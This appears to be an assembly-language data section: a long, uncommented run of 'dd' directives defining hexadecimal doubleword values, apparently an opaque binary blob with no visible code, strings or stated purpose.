dd 6090B7EAh, 8290DF26h, 1FA86500h, 0C27958h, 3C6D7F09h
dd 0F6F75B2Bh, 0A3129CA8h, 2DC1EB13h, 7412h, 90817DAFh
dd 84993848h, 66511700h, 79E4F5B4h, 3C6224h, 9910F481h
dd 0F980D995h, 13AA8088h, 0E100A9B1h, 87CD3DD6h, 0AC04DCCh
dd 16D37A8Dh, 514283E4h, 3924FBC7h, 902B0879h, 4F898806h
dd 0FF7D0090h, 924CA60Fh, 0CE0A8E14h, 0CC509871h, 0CAD11900h
dd 1FF47293h, 42820EF6h, 7FB61881h, 8139AC84h, 0E83161F3h
dd 2A008B1Fh, 0C5225947h, 0B159A10h, 2E94747Ch, 0A0DA4827h
dd 0E3098AA1h, 0EA53D307h, 1642C6FCh, 0A424E8CFh, 0BA82006Ah
dd 789680D4h, 50037B66h, 0A0512810h, 0E875F37Ch, 4C3F0E98h
dd 4B01A063h, 37BB5C13h, 0E868DD6Eh, 7915E507h, 3CCFE9h
dd 67D28F28h, 0D506C0h, 0C2555943h, 4725C1D1h, 26277B00h
dd 52B4A771h, 24D4F287h, 3C6B0D0Fh, 7D53E882h, 1CC170A5h
dd 0DE33C066h, 38CD2500h, 0A742EF09h, 0D3EB0129h, 6E820788h
dd 67D5E83Ch, 628CA900h, 0EC39615Eh, 5B2001D6h, 7604AAEDh
dd 78860F6h, 63C48703h, 0E0663ABAh, 7C37DC5Eh, 465C185Bh
dd 0C7643860h, 0E0FC2800h, 0B436C52Bh, 615D0059h, 0BF8F0D8Dh
dd 71D5A89h, 0F5C01FB2h, 105C39C0h, 0E530122h, 95DCBE09h
dd 811880EEh, 6A8DF624h, 73EC00E7h, 0A353FDC6h, 440E9BF4h
dd 0A7A4D702h, 0EB5082EEh, 9AB173h, 0B704F327h, 0C547EC23h
dd 769C4E30h, 0D9AEF1h, 4D33A846h, 0BC96B16Ch, 691ED718h
dd 0DEB2C0h, 0A0991255h, 9B3411F5h, 0C8C64300h, 95AAFB8h
dd 0E81900CEh, 5228B7B9h, 9100D777h, 0D4C94EBDh, 3B03F27h
dd 0C096BBA2h, 37E9CBDCh, 545E010h, 64AF1A00h, 1C50C342h
dd 5E5200EFh, 70239C1Bh, 0CC0383BAh, 4B6A064Eh, 18F8D860h
dd 0AE50089h, 0A5BAD919h, 106B9ABh, 0D80C4630h, 0ADE87D20h
dd 9BBF0904h, 2AC4D800h, 94006144h, 0F5D79227h, 1D5D3ADh
dd 6891F2EDh, 81CDCB54h, 0F9FEEED8h, 1180D9B4h, 3ED707AFh
dd 0E0831F3Ah, 1C4C94h, 74E3EFE2h, 0A017152Dh, 8E76D80Ch
dd 0C87961h, 3A507ABEh, 6AFD688Ah, 0F64F3F06h, 20F5C5h
dd 0B07D58A2h, 6677CBF4h, 62FB9200h, 2C5DF51h, 0BAE8031Ah
dd 0C0E61361h, 0E314EFC8h, 0FBF8D000h, 3353B74Ah, 0EF2F1h
dd 51B86B6Dh, 0D1965AEEh, 0A74B50Bh, 78005F8Dh, 35F56E64h
dd 0CD3AD407h, 0D9A03227h, 502B4013h, 68C82Eh, 0C6D86B5Ah
dd 82F0CD5Bh, 3A9A303h, 74362DBh, 3B1875F1h, 11BB305Ah
dd 0F2339D87h, 89B8E8EAh, 0BD862C2h, 0AC800E5h, 2F1AF963h
dd 0F860D7F6h, 0DF9049F2h, 20C20FA8h, 13603D59h, 8F8ADABAh
dd 0D2294318h, 6CFD9F1h, 0BF7DCB7Fh, 5201A892h, 13F5DAA7h
dd 4DCDCFBh, 65CF001Ah, 0D34AB561h, 9702806Eh, 583269DFh
dd 66836006h, 16D8C143h, 4D8DF2F5h, 5C7AFCC8h, 33D18210h
dd 0BE00E2DDh, 630F259Ch, 60292D1Eh, 1AFB1910h, 0F706999Fh
dd 0E2063D40h, 0F4090789h, 0F06E02F1h, 0B1FCEEBFh, 0F9001892h
dd 0A329AB01h, 0B03D69FAh
dd 606A745Fh, 8AE89887h, 9900B68Bh, 4215DDFEh, 0B0452E32h
dd 6027340h, 9A70D34Bh, 4A00B839h, 0DF763CEDh, 7E7C6Ah
dd 0CFA352EAh, 0F0B4736Fh, 0A9844030h, 0A83B48h, 0FE56319h
dd 0C8E0F3B3h, 6491C075h, 81A5B90Fh, 0F2F1A26Fh, 0C0D55C20h
dd 0A433A7A0h, 0D218C9BEh, 7D319937h, 0E8DC3B71h, 0D734B500h
dd 413B81EFh, 3D472100h, 0D9F52E24h, 95D63B51h, 7325EB0Fh
dd 52ABDA40h, 5B00EC19h, 7B9BA04Ah, 0E82B18h, 0DA8FA425h
dd 62B1C854h, 9B9448h, 8464D9F9h, 532603h, 0AEEB27C9h
dd 225CACFAh, 684F1B07h, 0A9615120h, 0F1C882FBh, 0E36600B0h
dd 0A7D3590Dh, 0A203FAECh, 9CCF1B15h, 3A11A95Ch, 0CB78D4h
dd 59885514h, 4D2E1DF6h, 0F1FDCF12h, 60507D02h, 8C5C8094h
dd 895C5DAh, 4B6982F3h, 2007B0B9h, 3D9D7F2h, 19D255ACh
dd 2398FA66h, 7F00A478h, 1E27C069h, 284FCAh, 6EFDD276h
dd 1F17DF2Fh, 0EE5361C0h, 5FBC03h, 0B5D051D7h, 4B9D6E36h
dd 24034179h, 282E6404h, 9BBAC053h, 0F0723DDBh, 5CC35100h
dd 0E7CE3491h, 974B48CAh, 0F5361500h, 0CD5557h, 87B22AC8h
dd 0F378FBCh, 3EC60700h, 5267E5EFh, 319821h, 78A81811h
dd 0D4691CF9h, 0AEF57C00h, 45E3CD33h, 0C5E5009Eh, 21532922h
dd 49002DC8h, 41A1A831h, 0A0F9F2h, 351A4373h, 8BC22155h
dd 52DB4600h, 0DA1272ABh, 487B0075h, 15F79E43h, 5903859Bh
dd 2328C563h, 93B3A896h, 0E2873460h, 77C9C090h, 9F6F86D4h
dd 17050070h, 0E278C64Fh, 0A90C0363h, 0BD0777CDh, 0EE00209Eh
dd 88C3B1B5h, 6A5F88Ah, 84C692C4h, 331D5016h, 8C47FF4Fh
dd 76801598h, 386BC827h, 0E01F1847h, 907D3D44h, 0E90D0940h
dd 5818D554h, 0A80ADA71h, 0FC838D9Ch, 81D0B362h, 0DA4755B8h
dd 1CE03E4h, 597336B9h, 219CC190h, 0A10CEB45h, 86C9F25h
dd 0E28B2CE3h, 8D3903B8h, 5FCAC9F2h, 0B09CE081h, 0F6F08E26h
dd 28528051h, 9A23866h, 0CFDCD5DDh, 9C17A580h, 0EB1E9E92h
dd 638FFBE3h, 79007FD4h, 6A31A85Fh, 0D85C60F1h, 4697269Eh
dd 1D8EC491h, 0EAF7243Bh, 67DA2A01h, 0D052FF29h, 0B5009C68h
dd 0C4CDC8C7h, 0A46250FFh, 3B841816h, 0ED088474h, 2FD20609h
dd 8D542071h, 26E1A0h, 431FF556h, 5B6513Dh, 0A8552F29h
dd 422E2258h, 364D00EBh, 40DFE7C8h, 2A8800CAh, 0CFD64615h
dd 49A395Eh, 6EDB4100h, 51AC6E8h, 84C54990h, 400CC22h
dd 9DAFBB52h, 0B16224h, 972CBF78h, 696E9396h, 94683948h
dd 995F0CCCh, 2C81120h, 0A7F57DD4h, 7046C579h, 84158428h
dd 3BCFC31Dh, 864CF500h, 7E8B6Bh, 998C57C5h, 374A7629h
dd 81A2B100h, 30196E98h, 65FE0F4h, 0AB7C0FB0h, 373A4962h
dd 19CF00ECh, 743C1B2Eh, 0D00A507Dh, 0E5610C6Bh, 0DB909EFBh
dd 622BDD01h, 0D677AC40h, 791F8C26h, 0C87804A3h, 54A73133h
dd 7B98BC03h, 0C5037A50h, 0C2FC096Dh, 5983E052h, 0F6917197h
dd 36630092h, 0C7A17DBAh, 0AA001AB8h, 0C3614CCFh, 0A8B0B43Bh
dd 105EE394h, 508B08D1h, 9848FA94h, 0D90EDD28h, 9AFD44D2h
dd 2113A431h, 0FBCF317Ch, 774274D8h, 4E61EB13h, 0F50B4020h
dd 28226006h, 24FC31D3h, 0B200DF7Dh, 0F1BE045Eh, 1D363D8Bh
dd 6F9B9B5h, 783F7315h, 0E130CFFEh, 5343CE42h, 0FC490039h
dd 96A90D17h, 0F286775h, 510F045h, 0F68022C7h, 49A88C48h
dd 8F16721h, 41004B07h, 0C847C334h, 1F500099h, 0DCF0D932h
dd 0F166A19h, 1803F918h, 95CD6FBDh, 5255F000h, 9A89A2F0h
dd 23051E60h, 0D3B581A4h, 53A6077Fh, 9C04CCh, 1D7A592Ah
dd 298700E4h, 78BED995h, 1E021FF8h, 0CC82327h, 0C9D845E9h
dd 40D8442Ah, 393F4ABFh, 79EFB706h, 1FF0775Dh, 80016223h
dd 819DE424h, 89004872h, 2D47FAD9h, 122019D3h, 6FC14082h
dd 6F610730h, 9A099B8h, 3D6EC715h, 9E01590Bh, 0C9D60C02h
dd 1845F6A4h, 18042AE9h, 0F0F5DC40h, 167D1243h, 949400F8h
dd 185D50A8h, 0AF7B1A7Ch, 3B1C2A48h, 49D68953h, 0A8109B8Bh
dd 8BD0EBBh, 0C43432CAh, 0D031139Bh, 0BBA950h, 0C58AD58Bh
dd 6D7990F3h, 88E28E00h, 4FCD2EA2h, 5A7CB1E4h, 7C901CA9h
dd 8900BFE8h, 0FA864532h, 906A8234h, 0D82C60B8h, 42ECCBDh
dd 0B975150Eh, 30F11842h, 10E7C35h, 0E157ACAAh, 3280C8A6h
dd 0BE305020h, 8A62CCA5h, 96D4186Ch, 61DE6213h, 0AA5A3831h
dd 585B7470h, 9826406Ah, 47710774h, 0F3040BDh, 0F72C81DBh
dd 149D4F6h, 63AF4EBCh, 40014072h, 607223BBh, 3DAC4C91h
dd 0A5E194A8h, 0DF07C601h, 42D1BAB2h, 6599B850h, 1E88C0ABh
dd 9375043Ch, 79B2FF00h, 436CC386h, 0B0B30005h, 0C56E7F44h
dd 0C1636CAh, 600267ACh, 61E4E008h, 0F0505A48h, 0D4BBCBA6h
dd 1810F050h, 7B81C0C1h, 112F65B2h, 2EFB4375h, 36805020h
dd 0F637461Fh, 0E07D94h, 9E2932F2h, 74C74165h, 0A486D200h
dd 19E95F9Ch, 4B60C41Ah, 480037C4h, 4899A802h, 0AADC0440h
dd 0CF7EB4h, 6E208492h, 0DBDBCF5h, 16836304h, 74D13A11h
dd 0DAF84B98h, 3B1A3B36h, 392EA489h, 0E8A09446h, 2C5E294Ch
dd 9057BCA8h, 0DA9A8905h, 0CAC0AF0Ah, 0A02D127Dh, 711C94ECh
dd 537C50h, 0F56C6EAh, 6C6ADC99h, 0DF2F9700h, 1BFB525Ah
dd 5CE2008Ch, 2E1A709Ch, 9312CAD2h, 140269A8h, 8044DCD4h
dd 0D85334BCh, 0B810603Bh, 0D5F6BCEDh, 3AB32001h, 0BE627D5Ch
dd 58EFE0FBh, 7A11E8A8h, 0BA8C00C6h, 59890616h, 316086D3h
dd 27C4E891h, 0BD1800CBh, 0E476156Ah, 0C974FD9Eh, 77DDD91Fh
dd 3B009C5Eh, 50D4452h, 8E286h, 0FFD307CEh, 0EDA591E1h
dd 4ABA9B01h, 1D43F474h, 0CCAC081h, 29A79712h, 0D82F00A8h
dd 0C5E586A6h, 50E6E871h, 728E01Fh, 0D4EA7F18h, 0F302403Ch
dd 0C60E2EF9h, 6E42EB2Dh, 596AE032h, 1F752281h, 0CE1BA2C2h
dd 16807724h, 0AD0A3D30h, 9530B0A4h, 153C712Dh, 0F09AB4h
dd 0D54C8B5Bh, 66C16231h, 0D43A0C01h, 12A7D0DAh, 0FE182BD3h
dd 4212FC04h, 79019D89h, 57F1AC24h, 73DECCC4h, 2CA307F0h
dd 4D022h, 0AD82B9DBh, 0FF9BD0C0h, 789BCDFh, 0DCE4D8FEh
dd 51F8C8AEh, 12510F5h, 2AC0A9DBh, 250C0B9h, 0A0176308h
dd 0D71D9C00h, 3B711878h, 5B823A7Ch, 19591E98h, 11848458h
dd 488CD7Bh, 70B8FB9Ch, 1825541Fh, 1B0C40Dh, 824D519h
dd 14BE42A0h, 143CAF8Ah, 2A0CC56Ch, 285424A0h, 3C42D20Ch
dd 48735414h, 0C4B5074h, 0F730A8B8h, 0E79D4545h, 9C25B082h
dd 0F53C6C46h, 26248DC0h, 19A71878h, 3CA08508h, 0A0449766h
dd 2190A6B4h, 0D015CA27h, 9572210Ch, 0A7292424h, 18809590h
dd 9CA66808h, 8019CC99h, 2C0E2F1h, 0E74B0DE9h, 84C0FABEh
dd 8B587A18h, 0F7EA44h, 55F0FF7Eh, 80009124h, 0C92E413Fh
dd 8700A8EAh, 3E3BE45h, 180E29Dh, 12624D7Ch, 0C8220470h
dd 674C8FD1h, 99E30658h, 3B48FFABh, 54180659h, 0FAEEA027h
dd 0C675B20h, 6BCD7385h, 0CF712680h, 237A8800h, 0F61C169h
dd 0D7FC07B9h, 70D21D9Bh, 0F48E0C22h, 24114F00h, 0F0472E48h
dd 4CB0EAh, 0A54BB927h, 0CD418157h, 48289400h, 349E2F9Dh
dd 5DB73B23h, 0EB4B5F05h, 0BE1C7CD6h, 8C835801h, 0BB2423F5h
dd 2E92F8h, 391667D9h, 0E1A9AD9Fh, 8118B207h, 80DBB7D6h
dd 93BB6FD7h, 58C5639Dh, 80ED04FDh, 82B54526h, 21B19501h
dd 61CFA122h, 3CC341FDh
dd 0E138C2D9h, 0A04CCA98h, 480E671Dh, 86FF9146h, 0E290150h
dd 4195117Ch, 0D1A9865Fh, 0A20068C4h, 73FE99F8h, 15A80B4h
dd 141D3813h, 20AFE922h, 0EF7B6D22h, 4F465C00h, 2A534A60h
dd 98BF3F10h, 43259D96h, 486EF643h, 0B7305890h, 465E8E00h
dd 0DE42BDB5h, 0A310001h, 3AEBE7D9h, 4100E0EDh, 0FAF33499h
dd 0B74EDFh, 0C1A9DE88h, 62F5583Bh, 0E738C818h, 88280h
dd 9269B943h, 5345B795h, 0C0016D21h, 0B33EE2FBh, 5A5ECE1Ch
dd 9E41B9C0h, 24AA09h, 0B5D27717h, 0E2510D8h, 0B41E19EEh
dd 9E8F1513h, 4D41E5D4h, 0F24A014h, 63470A5Bh, 12A1702h
dd 405684A0h, 0FC71F907h, 423E73FAh, 7ECE05B4h, 9C05125Fh
dd 0D846E22Eh, 0CF0827F0h, 96853920h, 38880073h, 3C1AB099h
dd 2F82C806h, 1518617Ah, 842430F0h, 0B13FCEC0h, 8024C0B6h
dd 7F00587Ah, 0FF23AEFAh, 243D7ED7h, 48925Bh, 409E485h
dd 156166A7h, 1C3C3978h, 0C5C9FC50h, 0E7CF0030h, 52C683F7h
dd 0F8FC8B7Ah, 128CD90Fh, 0DBC383EEh, 14D000FAh, 419671B5h
dd 9E1F286Fh, 0F0054C12h, 8440DFE0h, 94999A81h, 5FBF0004h
dd 0B663F972h, 2548FF57h, 12EA00ACh, 60B4555Dh, 5CB0010h
dd 0E8D539BBh, 0AF0785E9h, 54C2F373h, 7DE63660h, 0FAC24D4h
dd 7C170010h, 94A7770Dh, 320CC7F4h, 40D3C3C9h, 2903617Dh
dd 8F95B9B7h, 4C4407A0h, 22CCE90Dh, 4500E94Dh, 6E107919h
dd 4263111h, 5815ECB9h, 1D6480BEh, 4750D724h, 0A70F4AC8h
dd 0F46BBA28h, 486018C4h, 1574FFB1h, 30335B94h, 581992C0h
dd 0E2733909h, 457F2484h, 6F083B1Ch, 39023D10h, 406E1A7Ah
dd 0EAAF9448h, 3BBC90EDh, 48C92492h, 3D66A609h, 3EF52002h
dd 8A019600h, 92A801FEh, 6B77CCC0h, 1410360Fh, 0F43C50h
dd 0B35BC016h, 0F2D5DDD4h, 0AE372857h, 1CD006E4h, 5046B6DAh
dd 6F0EEBF4h, 852034A8h, 0A00738C6h, 40083C0Fh, 813AE76Ch
dd 0A5132C00h, 0AC756179h, 480B28FBh, 46640098h, 19C00DDCh
dd 9C3D4EDEh, 0BF1619BAh, 8C374570h, 0D5D8D0Ch, 330210F9h
dd 9B9DA41Ch, 1D504E46h, 9F7C17Fh, 0D88460EFh, 52AE4001h
dd 0FE196Fh, 4746CDCFh, 4622874h, 0BA9F9100h, 7AF34A54h
dd 6AB4A026h, 7E2CE844h, 0E96000D1h, 3776B06h, 62246612h
dd 96808CA0h, 0F02B74F3h, 78CE005Dh, 47C625DBh, 8490133Dh
dd 0A2CF9209h, 0DB82171h, 0B1888C90h, 0C83304Bh, 0EC4ECFCh
dd 0D1EF1DE9h, 10EB3466h, 891A10Ch, 177F8ABh, 0F91F192Dh
dd 20582969h, 78244DB0h, 0EF830821h, 0C8FD6016h, 0E069BBCAh
dd 0AEEFC26h, 36FEA7BAh, 804D06E4h, 94043113h, 0F6576AAAh
dd 64268180h, 643548C9h, 20FB3450h, 0B2005904h, 0CCB910A5h
dd 4D7D8FF7h, 0FD0014FCh, 0C4083926h, 657F9CC7h, 70A4202Ch
dd 0C22C8807h, 78C80A03h, 642A3CA9h, 0AF933D0Ah, 9988408h
dd 9E1B20AEh, 39B400FDh, 8A919B60h, 9002C801h, 2747740Bh
dd 0A8BCA0C2h, 1D081F06h, 4039E2BAh, 0C0D6AA83h, 4907F05Dh
dd 2ADE5918h, 2FCAAFD0h, 0D8B1DAF2h, 32092C8Ch, 0FF8B1709h
dd 4704A015h, 750FA4Fh, 0C08996D6h, 38B092A3h, 1CBE480h
dd 0B4282C4Ch, 0DD00E05Fh, 0FACFC29Ah, 42E3EA2h, 0DAE2822Bh
dd 847C8006h, 92032580h, 29A61644h, 223A019h, 0AE0112A1h
dd 8B2028E7h, 0C8027D41h, 1DC84830h, 20240AC8h, 0A04D7Ah
dd 1938847Dh, 0B71E4A52h, 6D8A0A68h, 202D00Ch, 80BA26A9h
dd 5E3014ACh, 0C5BB899h, 0CB55461Bh, 0D0FDF50h, 40250FA3h
dd 0CDDC32D1h, 61480FF6h, 440D547h, 120FAF77h, 0B4D9CA0Ah
dd 7853020h, 0A007022Ah, 4834A7h, 37659A7Dh, 9E3A8CEAh
dd 2E30F98Dh, 62463041h, 0BF8900FBh, 0C6FF524h, 5658675Fh
dd 0DE14004Eh, 0EDBC4F64h, 6EB0C2BEh, 0CC80B039h, 74575377h
dd 1FE45F1Dh, 0C0996C8Fh, 917D4250h, 6DF600D3h, 0A2F2BAA1h
dd 46009293h, 3F1E3845h, 0FBA4ACh, 8DF95635h, 0DA81641Ah
dd 0EB005E7Fh, 0E68FC312h, 399F7Ch, 0D572800Fh, 0C04FB086h
dd 8EA74C00h, 287B3653h, 7A330385h, 22733F6Ch, 0DB9BC0B4h
dd 0E5075B2Ch, 58430E11h, 0C72DD3B0h, 491C0F4Bh, 0C920D5C2h
dd 0EA2F24A5h, 0B701F107h, 42805955h, 5029F225h, 7C0ADA31h
dd 0C1FA65h, 8F7C676Fh, 0BBDFF4DAh, 0A34C8600h, 8302BE1h
dd 0D739007Bh, 0ACAFF348h, 8E00E726h, 0B7EDFAEFh, 59F5EF8h
dd 0BC6064A4h, 881D58h, 43937B3Bh, 2200FEBAh, 57EC05CFh
dd 75FD4Ah, 1F6BB6DCh, 0EBC943FAh, 0BC0055E6h, 6F4B4D81h
dd 0A73E91h, 68CDD92Eh, 36AF1961h, 7700D7EEh, 0B1A95AEBh
dd 0C8C176h, 8756855h, 7A17940Fh, 331F5C00h, 26586088h
dd 0E5EF0032h, 780A3B02h, 28F2DE45h, 0C800B1ECh, 21D43F64h
dd 52D351h, 4BE433BFh, 0BBEB16F5h, 7E1533Dh, 0E613B830h
dd 0F80FE280h, 98BC0002h, 7B739FBDh, 0C8078D88h, 0AC4C0EC5h
dd 4B580AC0h, 0C97153h, 1A92DF09h, 305B10A4h, 0B9FAD67Bh
dd 70654858h, 54C34100h, 520FE672h, 38000CDh, 0A0DE26D8h
dd 0E307676Ch, 654E10A6h, 0F9EC20B3h, 0A8CF3449h, 91507Dh
dd 0E2B140F4h, 0D6D13BE4h, 159A4D00h, 3302830Dh, 0C00C0428h
dd 0C0A35591h, 4CFDFFB4h, 2F0051F8h, 0BBA1EC45h, 0B041E4h
dd 2B12C39Bh, 0BE6F9CA7h, 0B3EB2909h, 82048F13h, 4079CB7Fh
dd 0AA2EE0h, 0BA293E21h, 56DFF1ECh, 0FDD1DA00h, 0A97B6A63h
dd 0D610001Fh, 2441A11Ch, 0CD00A4AEh, 834ED959h, 79113BF7h
dd 7A6D02DFh, 3317B162h, 0DD5ADAC0h, 1083B500h, 0BF9A199h
dd 64950076h, 0E5AE97CCh, 7100FF46h, 1449B1EBh, 4139DAh
dd 0AA666540h, 5F5DA6A4h, 804CAC3Dh, 0CD8CBB6Eh, 5073F7Ch
dd 835A0143h, 4B4C808Bh, 0E7003458h, 23A3C31Bh, 279C05h
dd 0F06E8CF3h, 8A494E55h, 565A9A01h, 7E3FD65Dh, 3761F4h
dd 4545BB2h, 9AF58FE0h, 0DC3EEA00h, 8884CF56h, 99B5188Bh
dd 0C8B07E95h, 0F734E000h, 6A628C27h, 0FE09A1Dh, 855E4F35h
dd 0FF89412Bh, 5B923780h, 5700791Fh, 67A8D0C8h, 73A66CF9h
dd 950C01E6h, 0C9CA0D24h, 0D8BB16h, 65985380h, 0CC3651h
dd 7F70A432h, 0E6335A94h, 0B8ECF003h, 0A0C980E5h, 5AFD9B5h
dd 0F17EF314h, 7DBC1471h, 0CEEBFC00h, 0B0176FA8h, 0CC421900h
dd 603739DCh, 0BB781DAAh, 0DD8C805Eh, 9D2EE743h, 17592B24h
dd 9991BF00h, 0DB7F3h, 973C643Fh, 141DBA02h, 0ABE57F1Fh
dd 8D903580h, 4E3605h, 11DCC70Ah, 0BA722056h, 0AAA85Ch
dd 0DE545FF8h, 0E6196Ah, 3EC54B24h, 0D1168EE1h, 0C4A00578h
dd 9B007521h, 0BFBBBD93h, 8ED976h, 0C92C1CC5h, 0FCF94F89h
dd 31AD0200h, 27DAC0E6h, 4D960E95h, 0FEC0A20Fh, 0CA9ED73Ch
dd 4021CF00h, 0B87F42B9h, 6817606Dh, 65B12D3Eh, 0C90C3501h
dd 0BC3309DFh, 3A0E4422h, 8A006859h, 3740AF75h, 52DA40C1h
dd 0E1E4D7D5h, 0BB3101C2h, 0C6834AF2h, 9790C4E2h, 0E7DD4F00h
dd 0F94E9A6Bh, 0EC060457h, 0C0C45992h, 91FD169Eh, 48ABF038h
dd 7B800ECh, 0D7521E40h, 6EE8DDh, 8DE11154h, 0B8F6A110h
dd 204C9C00h, 0CDB4D037h, 3FA00019h, 0DADEADD2h, 3D05B5C4h
dd 253BF540h, 0CB32D280h, 563C0038h, 4EEB7967h, 690E47E5h
dd 6EFAD75Ah, 293FA08Fh, 1DCC49E9h, 800C13F2h, 3394A96Fh
dd 0EB00A1DEh, 0F8BB9E28h, 237897h, 62D0C3BFh, 0C1F9134h
dd 0D2408500h, 19B2157Dh
dd 0CF730E47h, 7A069F0h, 4B71B5A7h, 0E04DA518h, 1653EE92h
dd 0F0A2F380h, 4C07383Eh, 0EBF22E85h, 0F9592901h, 42E8E02Fh
dd 0CA0158E8h, 7D1BB335h, 7F20E020h, 0DEC1006Fh, 0A45444C4h
dd 5007A267h, 3268F7D7h, 7BC76940h, 0A14700A8h, 0AA094306h
dd 9B057A0Bh, 54AB8F98h, 0BEDB9480h, 1FC50A2Eh, 91F469h
dd 92741B4Bh, 2A2890BDh, 2F1ED3EBh, 8401FD1Ah, 0C8342CF8h
dd 0B68E30h, 97835C7h, 0EF74F58h, 0F9F87A00h, 518A8D93h
dd 53FE008Ch, 0C4801D69h, 65F9772h, 5D4757C0h, 567C005Bh
dd 0CD90C54Ah, 0EF003F73h, 74C1125Ch, 1F36CC77h, 6AF965h
dd 0A5F5CE9Eh, 0C4F099F8h, 95B0D58h, 0EA0AC0h, 572439C0h
dd 0CBFA00D5h, 1CB7B60Eh, 850070A7h, 30117AFBh, 0F78B9D31h
dd 0C6A030h, 78D18474h, 6C417395h, 34E8B803h, 0A03F3025h
dd 2AE339h, 2892C62Bh, 0CFAEE456h, 360E482Eh, 26E8D000h
dd 0BCB81Fh, 9CE1D3DFh, 201B81B4h, 0F1001AFEh, 0F5564EA8h
dd 7B0DE60h, 288EF40h, 9F80EEFAh, 0BEEE5AB9h, 0EC004AFEh
dd 5DEB4F23h, 0ADC3A2h, 2895D246h, 3A512C25h, 0D70DCA01h
dd 3777C218h, 616C0h, 364EA1E7h, 0ADC41563h, 6DCFAC00h
dd 9D4CF9D2h, 5FE300D9h, 0FBBF62CBh, 6A7EA1C1h, 89F61F3Ch
dd 5634C7h, 79C6F1A1h, 0FE7B97h, 86669FDCh, 8E01CF67h
dd 4FFC2B01h, 0C5169C3Ch, 75C2ECh, 8CA6DF4Ah, 0D48DD824h
dd 25B87A00h, 3208C89Dh, 70BB0F7h, 8CC1E32Dh, 0D8C20021h
dd 7007D06Fh, 79055EECh, 0BCF02BB0h, 97DF0025h, 158EE5E4h
dd 7200168Bh, 0A66FD664h, 4E6A31h, 7B071D9Dh, 16EB0AE1h
dd 4213DB00h, 0D2C2C3D4h, 3ADC00E9h, 0C60FC951h, 0A800FC87h
dd 6E7D2624h, 0ABC41Bh, 0D3300899h, 0F54249FFh, 0B216B904h
dd 0B0805D81h, 4C0AA770h, 5B015B39h, 5E8C4A5Ch, 0E036DDC2h
dd 71019BD8h, 5033D6A1h, 83F49339h, 0F86700AAh, 0D142F490h
dd 0F730176Ah, 0E589C826h, 14779BBh, 2953233Fh, 0C412A2CDh
dd 0C600FC9Ah, 0ACF42165h, 3C8EEFFEh, 1980F10Ah, 4AB38DD6h
dd 0BD98D9A0h, 1330139h, 25A3C9E9h, 0EED85264h, 0F59103C5h
dd 0E3A05EFAh, 3C56DC3h, 0EF03F1F0h, 9CA2813Eh, 58C095B7h
dd 62C9BAD1h, 364B5C8Ch, 0D0A1BE00h, 721B0D2h, 6F00AF70h
dd 0E4602EFFh, 0F0E52575h, 0C0797B57h, 3B82FD10h, 0D001F368h
dd 2607F2C8h, 0FB379Bh, 0C9D34B61h, 73BC5DA8h, 0C603ABFCh
dd 0A667D09Fh, 0EF39B845h, 6B180024h, 7BE1CB3Ch, 99ECF73Bh
dd 4D40BD60h, 1C1D05Fh, 0D897DE81h, 0F429A30Ch, 3D00301Fh
dd 0F176FCAEh, 0D08FC2h, 4E0A0D8Eh, 0D95C376Eh, 92CC9607h
dd 0FEC2B9C6h, 0F1C2C02Fh, 12760015h, 44ADBB63h, 980097A8h
dd 22304C4Ah, 7233B6h, 2A9548Dh, 5A64BDB1h, 0E4FB53F6h
dd 97032ABFh, 0FD32C639h, 0C222E04Dh, 18A0F4D0h, 0B08D5980h
dd 693E886Dh, 90B480A1h, 0F6A8DE72h, 8DBCA0D5h, 20100196h
dd 79F4C089h, 862D434h, 66EC6F00h, 4B4AB82Bh, 18A80001h
dd 388A73F3h, 0D83077E6h, 0F5D11949h, 0AC80E1Eh, 0C0C06CFEh
dd 0CE3A789h, 2395EF01h, 0C3F355EEh, 7B9830h, 0C253E18Ah
dd 83418728h, 0EBD45800h, 4E3D1BC7h, 0C50A0095h, 2D38AE94h
dd 5200FCC2h, 1C0365B8h, 5F02E77h, 0EA86D985h, 964FC016h
dd 27F8D39Dh, 0CC4ADB07h, 7C7031E4h, 3078771Dh, 53B8C843h
dd 5700385Bh, 0F4061F60h, 7C8942FAh, 5D720C1Eh, 12C818C2h
dd 810F6401h, 83DFA5A9h, 365CECh, 9EBDECF4h, 7855B4CCh
dd 81A6901Ch, 4AA03200h, 0F86A2C2h, 7565492Fh, 0EA20B5AEh
dd 0B1F289A8h, 25B49900h, 5DF8DBC3h, 2F160A17h, 0FB8EAC1h
dd 4B27436Dh, 0B672913Fh, 4C93C81Fh, 5F83CD01h, 30491091h
dd 540F4h, 82CBBE3Eh, 87637181h, 31BF4C30h, 8A9AF6h, 4E7D7A54h
dd 0F34D6985h, 0FCDCC100h, 0E58E7217h, 5B810083h, 5ECB38DDh
dd 4E001A97h, 662915D4h, 0E4F22102h, 4C2A7431h, 162B5E81h
dd 3F5F801Ch, 90F071C3h, 9B454E00h, 0D1818777h, 41F21420h
dd 0FDB138C5h, 0ABA6F48Fh, 262E2AEEh, 0C11E0A65h, 166BEC2h
dd 3896A0h, 0C6CEFCD5h, 58A10A8h, 4F545FF4h, 0B9112510h
dd 0E50094E8h, 41CEC6E3h, 6653BB81h, 4FF1C748h, 1EA9E9A3h
dd 14DEC538h, 49F018F3h, 1C00895Eh, 0A58A13CAh, 15CFEB26h
dd 60B1AC21h, 1939E0A0h, 38C0D271h, 2EE2EB85h, 0C710A082h
dd 196218FFh, 5A6588B0h, 0DC66922Bh, 44D81160h, 4589C3EDh
dd 303496E9h, 0DC6C3855h, 322A0C2Bh, 2568868Fh, 0A1C0D450h
dd 0A8064D2Bh, 7A39D01h, 6085A737h, 78BEB305h, 2808D6A4h
dd 3FBECAEEh, 0E088D72Bh, 5AD32A46h, 39BC8754h, 0E1668E07h
dd 21408862h, 0A7F344CFh, 0C9C8264h, 0A52092A7h, 1594081Ch
dd 0E04DA00Fh, 18B0DBE3h, 8581E19Dh, 54F3FA94h, 53D807F3h
dd 30C0FFCDh, 98EA9965h, 90D7D8Ch, 4FCA61CEh, 2F05B03Ch
dd 0C8BF6052h, 6764D440h, 5C010C98h, 501D4AE0h, 7D6104EFh
dd 62481E3h, 80BC2720h, 0F9B8EBB6h, 2550C7CEh, 0A004290Ch
dd 0A9BC8807h, 0AB8BA300h, 0FD9B6F96h, 0DCC4004Eh, 88FA144Dh
dd 77008590h, 24941C17h, 0C76901BDh, 816ECF08h, 0F0D0B11Dh
dd 2302407Dh, 53C91B73h, 0DE28B8A2h, 0E2300BF1h, 0E080847Ah
dd 0FB5D8D83h, 52074003h, 322C1DBh, 0FFD52350h, 800303Ah
dd 1EE36CDAh, 95A718h, 9E573D24h, 454D1AFBh, 2FCA10C3h
